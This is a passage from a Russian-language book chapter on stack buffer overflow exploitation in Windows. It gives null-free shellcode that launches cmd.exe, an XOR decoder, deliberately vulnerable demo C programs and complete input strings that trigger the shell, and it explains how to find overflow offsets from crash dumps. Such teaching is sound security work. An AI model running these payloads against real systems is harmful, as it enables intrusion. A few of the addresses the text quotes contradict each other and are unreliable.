Если приведенный выше код расположить в локальном буфере функции и передать ему управление командой ret, он окажется неработоспособным. До выхода из функции пространство стека, занятое локальными переменными, освобождается: регистр указателя верхушки стека смещается вниз на дно кадра стека, а поскольку функция WinExec интенсивно использует стек, то, с вероятностью близкой к единице, код, вызывающий WinExec, окажется уничтожен и после возврата из функции произойдет исключение, приводящее к аварийному завершению программы. Во избежание этого необходимо "поднять" указатель верхушки стека, восстанавливая кадр стека. Для этого можно воспользоваться командой "SUB ESP,??", которая в шестнадцатеричных кодах выглядит так: "83 EC ??", и не содержит нулей в старших байтах константы, поскольку ей отводится всего один знаковый байт, который может принимать значения от -0x7F до 0x7F. Если этого окажется недостаточно, можно использовать несколько команд "SUB ESP,??" или поискать какие-нибудь другие решения (которых просто море).

Избавится от нуля в смещении строки можно, например, следующим образом: запустить отладчик и установить точку останова на команде "ret". Дождавшись всплытия отладчика, выбрать регистр, старшее слово которого совпадает со смещением строки. Если же такового не окажется, можно прибегнуть к следующему приему:

00000000: 33 C0           xor eax,eax ;
00000002: B0 ??           mov al,?? ;
00000004: C1 E0 10        shl eax,010 ;
00000007: 66 B8 ?? ??     mov ax,?? ?? ;

Не сложнее избавится и от нуля, завершающего строку. Достаточно прибегнуть, например, к самомодифицирующемуся коду, который может выглядеть, например, следующим образом (регистр EAX должен указывать на начало строки):

00000000: FE4007     inc b,[eax][00007]
000000x0: 63         'c'
000000x1: 6D         'm'
000000x2: 64         'd'
000000x3: 2E         '.'
000000x4: 65         'e'
000000x5: 78         'x'
000000x6: 65         'e'
000000x7: FF         '\xFF'

Строку завершает байт 0xFF, который командой INC превращается в ноль! Разумеется, допустимо использовать и другие математические операции, например, SUB или логические XOR, AND.

Объединив все вышесказанное, можно получить код, который может выглядеть, например, так:

00000000: 83 EC ??          sub esp,??;
00000003: 33 C0             xor eax,eax;
00000005: B0 ??             mov al,??;
00000007: 50                push eax;
00000008: C1 E0 10          shl eax,010;
0000000B: 66 B8 ?? ??       mov ax,????;
0000000F: FE 40 07          inc b,[eax][00007];
00000012: 50                push eax;
00000013: B8 01 86 E9 77    mov eax,077E98601 ;"
00000018: FF D0             call eax;
0000001A: EB FE             jmps 00000001A;
0000001C: 63                'c';
0000001D: 6D                'm';
0000001E: 64                'd';
0000001F: 2E                '.';
00000020: 65                'e';
00000021: 78                'x';
00000022: 65                'e';
00000023: FF                '\xFF';

Вместо возращения управления основой ветке программы, в коде, приведенном выше, использовано зацикливание. Это не самое лучшее решение, однако чаще всего оно никак не отражается на работоспособности атакуемой программы, (т.е., не вешает ее), поскольку каждый подключившийся к серверу пользователь обычно обрабатывается отдельным потоком. Однако возможно значительное падение производительности, особенно хорошо заметное на однопроцессорных машинах и правильнее было бы вгонять поток в сон, например, воспользовавшись вызовом WaitForSingleObject. Но в некоторых случаях можно обойтись и без этого [21].

Пусть, например, имеется следующая программа, содержащая ошибку переполнения буфера (на диске, прилагаемом к книге, она находится в файле "/SRC/buff.cmd.c"):

#include <stdio.h>
#include <string.h>

Auth()
{
       char pass[32];
       printf("Passw:"); gets(&pass[0]);
       if (!strcmp(&pass[0], "KPNC*"))
              return 1;
       return 0;
}

main()
{
       printf("CMD Shell Demo\n");
       if (Auth())
              printf("Password ok\n");
       else
              printf("Invalid password\n");
}

Если откомпилировать этот файл с помощью Microsoft Visual Studio 6.0 и запустить под отладчиком, установив точку останова в начале процедуры Auth(), можно узнать адрес буфера в стеке, размер кадра стека и значение регистров при выходе из функции (разумеется, для этого необходимо трассировать код, пока не встретится команда ret). Отладчик в этот момент может выглядеть так:

Выяснение адреса буфера

Рисунок 76. Выяснение адреса буфера>

Значение регистра ESP в момент выхода из функции равно 0x12FF7C [22], а размер кадра стека 0x20+0x4 = 0x24 байт (четыре байта занимает сохраненное в стеке значение регистра EBP). Следовательно, адрес буфера (а он находится на вершине стека) равен 0x12FF7C ‑ 0x24 = 0x12FF58. Задав этот адрес в окне дампа памяти, можно удостовериться, что сюда действительно помещается введенная пользователем строка.

Значение регистра EDX после выхода из функции strcmp совпадает со смещением начала буфера. Поэтому код для запуска командного интерпретатора путем вызова WinExec может выглядеть так:

00000000: 83 EC 30          sub esp,030;
00000003: 52                push edx ;
00000004: B2 6B             mov dl,06B ;
00000006: FE 42 07          inc b,[edx][00007] ;
00000009: 52                push edx ;
0000000A: B8 01 86 E9 77    mov eax,077E98601 ;
0000000F: FF D0             call eax ;
00000011: EB FE             jmps 000000011 ;
00000013: 63                'c'
00000014: 6D                'm'
00000015: 64                'd'
00000016: 2E                '.'
00000017: 65                'e'
00000018: 78                'x'
00000019: 65                'e'
0000001A: FF                '\xFF'

Смещение строки "cmd.exe" в буфере равно 0x13, следовательно, младший байт регистра EDX должен быть равен 0x58+0x13 = 0x6B. Остается вычислить адрес возврата, задаваемый 37, 38 и 39 байтами вводимой строки (размер буфера 32 байта и еще 4 байта занимает сохраненное значение регистра EBP). Он равен (с учетом обратного порядка байтов) 0x88 0xFF 0x12.

Тогда вся строка в десятичном представлении (приготовленная для ввода через Alt) будет выглядеть так (на диске, прилагаемом к книге, она находится в файле "/SRC/buff.cmd.2000.key", однако перенаправление ввода блокирует клавиатуру и в командном интерпретаторе, поэтому все же придется набирать эту строку вручную):

131 236 048 082 178 107 254 066 007 082 184 001 134
233 119 255 208 235 254 099 109 100 046 101 120 101
255 088 088 088 120 088 088 120 120 088 088 255 018

Если ввести его правильно и без ошибок, запустится командный интерпретатор, что и демонстрирует рисунок 77:

Демонстрация запуска командного интерпретатора

Рисунок 77. Демонстрация запуска командного интерпретатора.

Поскольку Windows 2000 поставляется вместе с telnet-сервером, злоумышленник получает возможность запустить cmd.exe на удаленной машине и управлять ею по своему усмотрению. Штатная поставка Windows NT 4.0 не содержит средств для поддержки такого сервиса, однако злоумышленник может передать необходимые инструкции в командной строке, например, так: "cmd.exe /k copy xxxx yyyyy", для копирования выбранного файла в доступную ему директорию.

Точно так же можно запустить и любой другой файл, не только командный интерпретатор. Однако описанный метод запуска программ привязан к конкретной версии операционной системы и код, написанный для одной из них, окажется неработоспособен в другой. В UNIX системах, совместимых с System V адреса системных вызовов стандартизированы и не меняются от версии к версии.

Шифровка кода

В дополнении "Использование срыва стека для запуска командного интерпретатора под Windows NT" к главе "Технология срыва стека" были рассмотрены некоторые способы избавления от нулей, встречающихся в исполняемом коде. Грубо их можно разделить на следующие категории:

Однако SEX-мнемоники выручают не во всех случаях; использование "мусора", оставленного вызывающий код функцией, ненадежно и не позволяет создать мобильный код [24], а использование математических операций для избавления от каждого нуля при большом количестве нулей потребует много памяти, которой может не хватить.

Поэтому часто оказывается выгоднее шифровать весь код целиком, поскольку простейший декодер занимает порядка шестнадцати байт, а каждая операция избавления от нулевой ячейки требует по крайней мере три байта (FE 42 ?? INC b, [EDX+??]). Легко посчитать, если в передаваемом коде наличествуют более шести нулевых несмежных байт, использование декодера позволяет сэкономить память.

Другое преимущество декодера заключается в упрощении кода, поскольку теперь не требуется "ломать голову", пытаясь избавится от вездесущих нулей. Например, следующая конструкция позволяет создавать мобильный код, работающий независимо от того, где он расположен в памяти:

00000000: E8 00 00 00 00    call 000000005
00000005: 58                pop eax

Вызов CALL 0x5 заносит в стек значение регистра указателя команд, который содержит смещение следующей инструкции, а инструкция EAX выталкивает его из стека. Теперь появляется возможность адресовать все смещения, используя EAX (или любой другой регистр) в качестве базы.

Но вызов "CALL 0x5" содержит четыре нулевых байта, поэтому должен быть переписан таким образом, чтобы в нем не встретилось ни одного нуля. Один из возможных вариантов показан ниже:

00000000: EB 03             jmps 000000005
00000002: 58                pop eax
00000003: EB 05             jmps 00000000A
00000005: E8 F8 FF FF FF    call 000000002

Это не только занимает много памяти, но и усложняет написание программы, поскольку постоянно приходится помнить о "злополучных" нулях и выискивать такие комбинации, где они не встречаются. А это требует очень хорошо значения ассемблера и принципа кодирования команд микропроцессора. Декодер же способен автоматически избавиться от всех нулей, упрощая написание программы.

В простейшем случае, сердцем декодера может стать логическая операция XOR. Одно из ее свойств заключается в том, что A XOR B = (A XOR B) XOR B, т.е. повторное шифрование восстанавливает исходный текст.

Другое свойство XOR: A XOR A = 0, поэтому в качестве ключа шифрования необходимо выбрать такой байт, который бы ни разу не встречался в шифруемом коде, иначе он обратится в ноль, что недопустимо.

Один из вариантов расшифровщика приведен ниже (на диске, прилагаемом к книге, он находится в файле "/SRC/xor.bin"):

00000000: 33 C9             xor ecx,ecx
00000002: 83 C1 10          add ecx, ??
00000005: 33 C0             xor eax,eax
00000007: 83 C0 10          add eax,011
0000000A: 80 34 04 ??       xor b,[esp][eax],??
0000000E: 40                inc eax
0000000F: E2 F9             loop 00000000A -------- (1)

Для обеспечения мобильности все смещения вычисляются от регистра ESP, при этом он должен указывать на начало декодера. А в регистр ECX необходимо занести длину расшифровываемого фрагмента.

Например, код, запускающий командный интерпретатор в программе buff.cmd.c (смотри дополнение "Использование срыва стека для запуска командного интерпретатора под Windows NT), переписанный с использованием декодера, может выглядеть так:

00000000: 83 EC 30          sub esp,030 ;
00000003: 8B C4             mov eax,esp
00000005: 33 C9             xor ecx,ecx
00000007: 83 C1 13          add ecx,013 ;
0000000A: 80 70 19 90       xor b,[eax][00019],090 ;
0000000E: 40                inc eax
0000000F: E2 F9             loop 00000000A
00000011: 50                push eax
00000012: 83 C0 14          add eax,014 ;
00000015: 50                push eax
00000016: B8 01 86 E9 77    mov eax,077E98601 ;
0000001B: FF D0             call eax
0000001D: EB FE             jmps 00000001D
0000001F: 63                'c'
00000020: 6D                'm'
00000021: 64                'd'
00000022: 00                '\0'
00000023: 34                незначащий байт
00000024: 58                адрес
00000025: FF                возв-
00000026: 12                рата
00000027: 00

Расшифровщик занимает много места и в остающееся пространство уже не удается целиком записать имя командного интерпретатора. Конечно, функция WinExec сумеет запустить файл без указания расширения, но в оставшиеся четыре байта влезет имя далеко не всякого файла. Поэтому использование декодера в этом случае явно нецелесообразно и приводится лишь для приведения работоспособной иллюстрации к главе.

Но полученный код еще не готов к употреблению. Со смещения 0х11 (первый расшифровываемый байт) по 0х23 (последний расшифровываемый байт) его необходимо зашифровать, выполнив над каждым байтом операцию XOR 0x90. Такой ключ шифрования выбран потому, что в шифруемом фрагменте нет ни одного байта, равного 0х90. Следовательно, в зашифрованной строке не окажется ни одного нуля. Другим недопустимым символом является код клавиши <ENTER>, равный 0xD. Если он встретится во вводимой строке, система воспримет его как завершение строки и прекратит ввод.

Для шифровки можно воспользоваться любой утилитой, наподобие шестнадцатеричных редакторов QVIEW (или HIEW), но нетрудно это реализовать и на языке Си. Один из простейших вариантов приведен ниже (на диске, прилагаемом к книге, он находится в файле "/SRC/buff.crypt.c"). Для упрощения понимания его работы никакие проверки не выполняются.

#include <stdio.h>

main()
{
       FILE *fin, *fout;
       char buff[40];
       int a = 0x11;

       fin = fopen("buff.raw", "rb");
       fout = fopen("buff.ok", "wb");
       fread(&buff[0], 1, 40, fin);
       for (; a < 0x24; a++) buff[a] = buff[a] ^ 0x90;
       fwrite(&buff[0], 1, 40, fout);
       close(fin);
       close(fout);
}

Полученный в результате шифровки файл должен выглядеть следующим образом (на диске, прилагаемом к книге, он находится в директории "/SRC" и называется "buff.ok")

00000000: 83 EC 30 8B C4 33 C9 83 │ C1 13 80 70 19 90 40 E2     Гь0Л─3╔Г┴‼Аp↓Р@т
00000010: F9 C0 13 50 84 C0 28 91 │ 16 79 E7 6F 40 7B 6E F3     ∙└‼PД└(С▬yчo@{n?
00000020: FD F4 90 A4 58 FF 12 00 │                             ??РдX ↕

То же самое в десятичном виде, предназначенное для ввода в компьютер с помощью клавиши Alt, выглядит так:

131 236 048 139 196 051 201 131 193 019 128 112 025
144 064 226 249 192 019 080 132 192 040 145 022 121
231 111 064 123 110 243 253 244 144 164 088 255 018

Если все ввести правильно и без ошибок, запустится командный интерпретатор.

Поиск уязвимых программ

Код, получаемый управление при срыве стека, запускается от имени и с привилегиями уязвимой программы. Отсюда, наибольший интерес представляют программы, обладающие наивысшими привилегиями (системные сервисы, демоны и т.д.). Это значительно сужает круг поиска и ограничивает количество потенциальных кандидатов в жертвы.

Замечание
Существует некоторые методы, позволяющие предотвратить последствия срыва стека, даже при наличии грубых ошибок реализации. В главах, посвященных безопасности операционных систем UNIX и Windows NT, отмечалось, что все они разрешают выполнение кода в стеке и поэтому потенциально уязвимы или же, другими словами, чувствительны к ошибкам программного обеспечения.

На самом же деле, это не совсем верно. Существуют экзотические ядра UNIX, запрещающие подобную операцию - при попытке выполнить код, размещенный в стеке, происходит исключение, и выполнение программы прерывается. Но вместе с этим перестают работать многие легальные программы, "на лету" генерирующие код и исполняющие его в стеке [25]. Но запрет на выполнение кода в стеке не затрагивает модификацию переменных, указателей, поэтому принципиальная возможность атак по-прежнему остается. Поэтому такие ядра используются крайне редко. Тем более, вызов исключение при попытке злоумышленника проникнуть на компьютер, не самая лучшая защита [26].

Некоторые компиляторы (тот же gcc) способны генерировать код, автоматически обнаруживающий выход за границы буфера, но это вызывает снижение производительности в десятки раз и чаще всего оказывается неприемлемо.
Информация
В рамках проекта Synthetix (http://www.cse.ogi.edu/DISC/projects/synthetix) удалось найти несколько простых и надежных решений, затрудняющих атаки, основанные на срыве стека. Например, "StackGuard" - одна из "заплат" к компилятору gcc, дополняет пролог и эпилог каждой из функций особым кодом, контролирующим целостность адреса возврата. Алгоритм в общих чертах следующий: в стек вместе с адресом возврата заносится так называемый, "Canary Word", расположенный до адреса возврата. Искажение адреса возврата обычно сопровождается и искажением Canary Word, что легко проконтролировать. Соль в том, что Canary Word содержит символы "\0", CR, LF, EOF, которые не могут быть обычным путем введены с клавиатуры. А для усиления защиты добавляется случайная привязка, генерируемая при каждом запуске программы.

Такая мера действительно затрудняет атаки, но не исключает их принципиальную возможность. Существует возможность перезаписи любой области памяти как искажением регистра EBP, используемого для адресации локальные переменных, так и модификацией переменных указателей. Этого StackGuard отследить не в силах. Кроме того, если происходит переполнение буферов, в которых помещается информация, считанная из двоичного файла или принятая по сети, то отсутствует всякое ограничение на передаваемые в строке символы. А узнать значение привязки можно, например, с помощью уязвимости в функции printf (и подобным ей) и т.д.

Существуют различные способы поиска уязвимых программ. Например, с помощью дизассемблирования и тщательного изучения кода или тривиального ввода строк переменной длины. Как уже отмечалось в главе "Технология срыва стека", недостаточно ограничиться вводом максимально длинных строк. Необходимо перебирать все длины от нулевой до максимально возможной.

Манипуляция со строками разной длины - наиболее простой (но не всегда действенный) путь. Если удается подобрать строку, вызывающую исключение, то, следовательно, исследуемая программа содержит уязвимость. Но вовсе не факт, что удастся передать управление на свой код, изменить адрес возврата или каким-то иным способом проникнуть на атакуемую машину. В некоторых случаях ошибки переполнения приводят к возможности блокирования программы, но не позволяют злоумышленнику совершить никакие осмысленные действия.

Поэтому перед атакующим стоят следующие вопросы: возможно ли искажение адреса возврата таким образом, чтобы он указывал на переданную строку? Если да, то какой байт строки попадает в буфер? Большинство операционных систем при возникновении аварийной ситуации выдают информацию, способную пролить свет на причины аварии. Род и форма выдача информации варьируются от одной операционной системы к другой, но практически всегда приводится содержимое регистров, верхушки стека, инструкции, вызвавшей исключение и номера самого исключения. Этими сведениями и может воспользоваться злоумышленник, чтобы ответить на интересующие его вопросы.

Наименее информативной оказывается Windows 2000, не сообщающая ни содержимое регистров, ни состояние стека. Однако она позволяет загрузить отладчик, с помощью которого легко получить необходимую информацию. Существует также утилита "Dr. Watson", предназначенная для выяснения причин возникновения аварийных ситуаций. Она великолепно подходит для анализа уязвимых программ.

Ниже будет показано, как можно использовать эту информацию для проникновения на удаленный компьютер. Поскольку, после возникновения исключения ни одна операционная система не передает клиенту сведения о причине аварии (содержимое регистров, состояние стека), то все исследования необходимо проводить на локальной машине. Т.е. злоумышленник должен иметь физический доступ к своей жертве или установить на своем компьютере ту же самую операционную систему и то же самое программное обеспечение.

Если под управлением Windows 2000 в примере buff.demo.exe (на диске, прилагаемом к книге, он находится в файле "/SRC/buff.demo.exe") ввести строку более чем из двадцати символов 'Z' (или любых других символов), произойдет исключение и на окне появится диалоговое окно следующего содержания:

Информация, выдаваемая операционной системой

Рисунок 79. Информация, выдаваемая операционной системой Windows 2000 при возникновении исключительной ситуации.

"Инструкция по адресу 0x5a5a5a5a обратилась к памяти по адресу 0x5a5a5a5a. Память не может быть read". Код символа 'Z' равен 0x5A, следовательно, искажение адреса возврата позволило передать управление по адресу 'ZZZZ' или 0x5a5a5a5a в шестнадцатеричной форме. Но какие именно байты строки затирают адрес возврата?

Это можно узнать вводом строки с различными символами, например, "ZZZZZZZZZZZZZZZ1234567" (поскольку исключение "выплевывается" только при вводе строки длинной в шестнадцать и более символов, первые пятнадцать символов оказываются незначащими, и их значение роли не играет).

Вновь возникнет исключительная ситуация и на экране появится диалог следующего содержания (смотри рисунок 081):

Рисунок 81

Рисунок 81.

"Инструкция по адресу 0x35343332 обратилась к памяти по адресу 0x35343332. Память не может быть read". Код символа '2' - 0x32, '3' - 0x33, '4' - 0x34 и '5' - 0x35. Следовательно, в сохраненный адрес возврата попадают шестнадцатый, семнадцатый, восемнадцатый и девятнадцатый символ вводимой строки (без учета завершающего нуля).

Остается выяснить, по какому адресу расположен буфер, содержащий строку. Однако выяснить его только лишь на основе сообщаемой Windows 2000 информации невозможно. Необходимо запустить отладчик, кликнув по кнопке "отмена" (эта кнопка появляется только в том случае, если в системе установлен отладчик, например, среда Microsoft Visual C++, необходимо отметить, что SoftIce в штатной инсталляции не предоставляет такой возможности).

После всплытия окна отладчика наибольший интерес представит значение регистра указателя верхушки стека ESP. Само же содержимое стека выше регистра ESP (где и располагается веденная строка) к этому моменту чаще всего оказывается уничтожено.

На рисунке 82 показано содержимое регистров и состояния стека. Легко видеть, что в стеке на месте введенной строки находится мусор. Это происходит потому, что при возникновении исключения в стек заносятся некоторые служебные данные, затирая все на своем пути.

Рисунок 82

Рисунок 82.

Основываясь на значении регистра ESP (равного в данном случае 0x12FF80), легко вычислить адрес первого байта буфера, содержащего строку. Он равен 0x0012FF80 - 0x14 [27] = 0x0011FF6C.

Если попробовать ввести строку наподобие: "\xCCZZZZZZZZZZZZZZ\x80\xFF\x12", (код 0xCC это опкод команды INT 0x3, вызывающий отладочное исключение 0х3 - только так можно гарантировать возникновение исключения в первом же байте, получившим управление), то результат будет следующий:

Рисунок 83

Рисунок 83.

"Исключение Unknown software exception (0x800000003) в приложении по адресу 0x0012FF6C". Адрес 0x9912FF6C доказывает, что адрес возврата действительно подобран правильно и первый байт переданной строки получает управление.

Таким образом, вся информация, необходимая для вторжения на чужую машину получена и злоумышленник может приступать к программной реализации атакующего кода, примеры которого были приведены в главе "Технология срыва стека" и дополнении "Использование срыва стека для запуска командного интерпретатора под Windows NT".

Под управлением Windows 9x ту же операцию выполнить намного проще, поскольку она позволяет узнать содержимое регистров и состояние стека нажатием на клавишу "сведения". На экране отобразится диалоговое окно наподобие изображенного на следующем рисунке:

Рисунок 84

Рисунок 84.

Наибольший интерес представляет значение регистра ESP, значение которого позволяет вычислить местоположение введенной строки в стеке. Значение регистра EBP, равного 0x5A5A5A5A говорит о том, что компилятор сгенерировал код, адресующий локальные переменные с помощью регистра EBP. Вполне возможно, что модификацией сохраненного значения EBP злоумышленнику удастся проникнуть на машину или, по крайне мере, "завесить" ее.

В штатную поставку Windows 9x, Windows NT 4.x, Windows 2000 входит утилита "Dr. Watson", предназначенная для выявления причин ошибок. При возникновении аварийной ситуации она сохраняет текущее состояние некорректно работающего приложения в файл протокола, в который (в зависимости от настоек) могут входить: содержимое регистров и состояние стека, истории трассировки и т.д.

Один из примеров протокола приведен ниже [28]. Он получен после возникновения исключения в результате переполнения буфера программы buff.demo.exe:

*----> Итог/Описание <----*
 
Приложение или одна из ее DLL могла переполнить
внутренний временный буфер
 
Имя модуля: <нет данных>
 
Название приложения: Buff.demo.exe

       --------------------
        
       *----> Сведения <----*
        
       Command line: F:\TPNA\SRC\BUFFDE~1.EXE
        
Trap 0e0000 - Недопустимая страница
eax=00000000 ebx=00530000 ecx=00406050 edx=0063fdd8 esi=817d3fd4 edi=00000000
       eip=5a5a5a5a esp=0063fdf8 ebp=5a5a5a5a -- -- -- nv up EI pl ZR na PE nc
       cs=015f ss=0167 ds=0167 es=0167 fs=41a7 gs=0000
       >015f:5a5a5a5a page not present
       sel type base lim/bot
       ------- ---- -------- --------
       cs 015f r-x- 00000000 ffffffff
       ss 0167 rw-e 00000000 0000ffff
       ds 0167 rw-e 00000000 0000ffff
       es 0167 rw-e 00000000 0000ffff
       fs 41a7 rw-- 817d23fc 00000037
       gs 0000 ----
        
       stack base: 00540000
       TIB limits:0063e000 - 00640000
        
       -- exception record --
        
       Exception Code: c0000005 (нарушение доступа)
       Exception Address: 5a5a5a5a
       Exception Info: 00000000
       5a5a5a5a
        
       >015f:5a5a5a5a page not present
        
        
       -- stack summary --
        
       0167:5a5a5a5a 015f:5a5a5a5a 015f:5a5a5a5a
        
       -- stack trace --
        
       0167:5a5a5a5a 015f:5a5a5a5a 015f:5a5a5a5a
        
       -- stack dump --
        
       0063fdf8 00005a5a
       0063fdfc 00401262 = BUFF.DEMO.EXE:.text+0x262

       --------------------
       015f:00401231 00a330694000 add byte ptr [ebx+00406930],ah
       015f:00401237 e83f0e0000 call 0040207b = BUFF.DEMO.EXE:.text+0x107b
       015f:0040123c e8810d0000 call 00401fc2 = BUFF.DEMO.EXE:.text+0xfc2
       015f:00401241 e8f60a0000 call 00401d3c = BUFF.DEMO.EXE:.text+0xd3c
       015f:00401246 a170694000 mov eax,dword ptr [00406970]
       015f:0040124b a374694000 mov dword ptr [00406974],eax
       015f:00401250 50 push eax
       015f:00401251 ff3568694000 push dword ptr [00406968]
       015f:00401257 ff3564694000 push dword ptr [00406964]
       015f:0040125d e80afeffff call 0040106c = BUFF.DEMO.EXE:.text+0x6c
       BUFF.DEMO.EXE:.text+0x262:
       *015f:00401262 83c40c add esp,+0c
       015f:00401265 8945e4 mov dword ptr [ebp-1c],eax
       015f:00401268 50 push eax
       015f:00401269 e8fb0a0000 call 00401d69 = BUFF.DEMO.EXE:.text+0xd69
       015f:0040126e 8b45ec mov eax,dword ptr [ebp-14]
       015f:00401271 8b08 mov ecx,dword ptr [eax]
       015f:00401273 8b09 mov ecx,dword ptr [ecx]
       015f:00401275 894de0 mov dword ptr [ebp-20],ecx
       015f:00401278 50 push eax
       015f:00401279 51 push ecx
       015f:0040127a e8bf0b0000 call 00401e3e = BUFF.DEMO.EXE:.text+0xe3e
        
       --------------------
        
        
0063fe00 00000001
0063fe04 00760b70 -> 78 0b 76 00 00 00 00 00 46 3a 5c 54 50 4e 41 5c x.v.....F:\TPNA\
0063fe08 00760b20 -> 00 0b 76 00 e0 0a 76 00 c0 0a 76 00 a0 0a 76 00 ..v...v...v...v.
0063fe0c 00000000
0063fe10 817d3fd4 -> 06 00 05 00 50 e9 52 c1 00 00 00 00 00 00 00 00 ....P.R.........
0063fe14 00530000
0063fe18 c0000005
0063fe1c 0063ff68 -> ff ff ff ff 14 fe fb bf 38 91 f7 bf 00 00 00 00 ........8.......
0063fe20 0063fe0c -> 00 00 00 00 d4 3f 7d 81 00 00 53 00 05 00 00 c0 .....?}...S.....
0063fe24 0063fc28 -> 00 fd 63 00 1c fd 63 00 54 fc 63 00 4d 68 f7 bf ..c...c.T.c.Mh..
0063fe28 0063ff68 -> ff ff ff ff 14 fe fb bf 38 91 f7 bf 00 00 00 00 ........8.......
0063fe2c 004026dc = BUFF.DEMO.EXE:.text+0x16dc
-> 55 8b ec 83 ec 08 53 56 57 55 fc 8b 5d 0c 8b 45 U.....SVWU..]..E
0063fe30 004050a8 = BUFF.DEMO.EXE:.rdata+0xa8
-> ff ff ff ff 6e 12 40 00 82 12 40 00 06 00 00 06 ....n.@...@.....
0063fe34 00000000
0063fe38 0063ff78 -> f4 ff 63 00 e9 b3 f8 bf f4 23 7d 81 d4 3f 7d 81 ..c......#}..?}.
0063fe3c bff8b537 = KERNEL32!ApplicationStartup

        --------------------
         

Этот протокол полезен тем, что позволяет установить: в какой процедуре произошло переполнение буфера. В листинге знаком звездочки отмечена инструкция, следующая за командой, вызвавшей исключение:

       015f:0040125d e80afeffff call 0040106c = BUFF.DEMO.EXE:.text+0x6c
       BUFF.DEMO.EXE:.text+0x262:
       *015f:00401262 83c40c add esp,+0c

С помощью IDA легко установить, что процедура, располагающаяся по адресу 0x40106C, представляет собой main():

.text:0040106C main proc near ; CODE XREF: start+AFp
.text:0040106C         push ebp
.text:0040106D         mov ebp, esp

Но переполнение буфера произошло в процедуре Auth, ссылок на адрес которой (0х401000) в протоколе, выданном Доктором Ватсоном вообще нет! Это происходит потому, что адрес возврата из процедуры Auth был затерт введенной строкой и Доктор Ватсон не смог определить, откуда произошел вызов. Исключение вызвала не сама функция main, а одна из вызываемых ею процедур. Установить же истинного "виновника" исключения теперь практически невозможно.

Единственной зацепкой, за которую можно ухватиться, оказываются параметры переданные функции (если они не были затерты [29]). По роду и значению параметров можно хотя бы приблизительно определить, какая функция была вызвана. По крайней мере, это позволит сузить круг поиска.

Но далеко не во всех случаях ошибки переполнения удается обнаружить перебором строк разной длины. Наглядной демонстрацией этого утверждения служит следующая программа (на диске, прилагаемом к книге, она находится в файле "/SRC/buff.src.c"):

#include <stdio.h>
#include <string.h>
#include <windows.h>

int file(char *buff)
{
       char *p;
       int a = 0;
       char proto[10];
       p = strchr(&buff[0], ':');
       if (p)
       {
              for (; a != (p - &buff[0]); a++)
              proto[a] = buff[a];
              proto[a] = 0;
              if (strcmp(&proto[0], "file"))
                     return 0;
              else
                     WinExec(p + 3, SW_SHOW);
       }
       else
              WinExec(&buff[0], SW_SHOW);
       return 1;
}

main(int argc, char **argv)
{
       if (argc > 1) file(&argv[1][0]);
}

Программа запускает файл, имя которого указано в командной строке. Попытка вызвать переполнение вводом строк различной длины, скорее всего, ни к чему не приведет. Но даже беглый анализ исходного кода позволит обнаружить ошибку, допущенную разработчиком.

Если в имени файла присутствует символ ":", то программа полагает, что имя записано в формате "протокол://путь к файлу/имя файла", и пытается выяснить какой именно протокол был указан. При этом она копирует название протокола в буфер фиксированного размера, полагая, что при нормальном ходе вещей, его хватит для вмещения имени любого протокола. Но если ввести строку наподобие "ZZZZZZZZZZZZZZZZZZZZZZ:", то произойдет переполнение буфера со всеми вытекающими отсюда последствиями:.

Рисунок 85

Рисунок 85.

Приведенный пример относится к самым простым. Но существуют более коварные ошибки, проявляющиеся лишь при стечении определенных обстоятельств и обнаружить их можно только случайно или тщательным изучением исходных кодов (а в отсутствии исходных кодов - дизассемблированием или отладкой).

В первую очередь необходимо отобразить внимание на буфера фиксированного размера, расположенные в стеке. Блоки памяти, выделяемые вызовом malloc, находятся в куче (heap) и их переполнение (даже если и имеет место) не приводит к модификации адреса возврата, сохраненного в стеке.

Но четкую инструкцию по поиску ошибок дать невозможно. Существует множество разнообразных техник и подходов к решению этой проблемы, но никакой алгоритм не в в состоянии обнаруживать все уязвимости, поскольку всегда возможно возникновение принципиально новой идеи, наподобие приема, основанного на вводе спецификаторов в строке, передаваемой функции printf [30]. Автоматизированные средства поиска научатся обнаруживать такие ошибки не раньше, чем обзаведутся искусственным интеллектом.

В сложных программах огрехи были, есть и будут всегда. Тщательное тестирование миллионов строк кода современных приложений экономически невыгодно и не практикуется ни одной компанией. С другой стороны, анализ чужого кода (а особенно в отсутствии исходных текстов) выполнить в одиночку затруднительно. Большинство ошибок обнаруживаются случайно, а не в результате целенаправленного поиска. Но существует огромное количество злоумышленников, располагающих неограниченным (ну, практически неограниченным) временем для экспериментов, поэтому новые ошибки обнаруживаются чуть ли не ежедневно (и часто по несколько в день).


[1] Т.е. в младших адресах.

[2] Порядок расположения буферов в оперативной памяти зависит от характера используемого компилятора. Например, Microsoft Visual C++ 6.0 разместит эти переменные в обратном порядке. Т.е. в данном случае к адресу возврата оказывается ближе user, а не pass.

[3] Автор, набравшись наглости, рекомендует свой собственный трехтомник "Образ мышления IDA", посвященный технике дизассемблирования.

[4] На сайте разработчика www.idapro.com находится бета-версия, пригодная для экспериментов, описанных в этой главе.

[5] Ну, впрочем не обязательно именно на начало.

[6] Адрес 0x401018 указывает на первую команду, следующую за инструкцией вызова функции Auth. Разумеется, такой выбор не единичен, и можно передать управление любой другой ветке программы.

[7] Только для Windows 2000.

[8] Для упрощения листинга из файла buff.psw читается только один пароль, а имя пользователя игнорируется.

[9] Ну, разве что, перебором паролей.

[10] Жирным шрифтом выделены аргументы функции.

[11] С этими словами одна путаница... вообще-то слово равно не 16 битам, а разрядности процессора.

[12] Относительные смещения отсчитываются от верхушки кадра стека (см. комментарии к дизассемблированному листингу программы printf.bug.c в строке 0x401003).

[13] Во избежание дублирования код, сравнивающий пароли, отсутствует.

[14] Кстати, а как себя поведет эта конструкция, встретившись со строкой нулевой длины?

[15] Некоторые компиляторы умеют адресовать локальные переменные посредством регистра ESP и значение регистра EBP не сохраняют.

[16] Так иногда программисты называют область памяти, возникающую между двумя соседними переменными в результате выравнивая одной из них.

[17] Не считая того, что далеко не каждая программа выделит в распоряжение злоумышленника сотню байт памяти.

[18] Шутка. :)

[19] А доступ к исполняющимся в данный момент файлам заблокирован.

[20] Хотя такие приложения есть и самое короткое из них состоит всего из одной команды: ret.

[21] Падает производительность? Ну и пусть себе падает. Все равно разобраться, почему она падает - слишком сложная задача для рядового администратора, который просто-напросто перезапустит систему, когда обнаружит что она "чего-то стала тормозить".

[22] При условии, что программа запущена под управлением Windows 2000.

[23] Sing Extend.

[24] Например, код вызова cmd.exe, приведенный в дополнении "Использование стека для вызова командного интерпретатора под Windows NT" не работает в тех случаях, когда значение регистра EDX окажется иным.

[25] Например - компиляторы, защиты и т.д.

[26] Поскольку блокирует дальнейшее выполнение программы, т.е. "вешает" ее.

